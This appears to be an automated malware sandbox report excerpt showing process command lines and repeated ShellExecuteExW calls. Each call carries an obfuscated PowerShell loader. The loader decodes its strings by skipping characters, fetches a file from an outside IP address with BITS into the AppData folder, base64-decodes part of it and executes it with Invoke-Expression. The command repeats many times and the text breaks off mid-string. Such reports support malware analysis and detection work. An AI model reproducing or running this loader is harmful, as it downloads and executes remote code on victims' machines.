$Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
cmdline powershell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
wmi select * from win32_process where ProcessId=1728
Time & API Arguments Status Return Repeated

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF 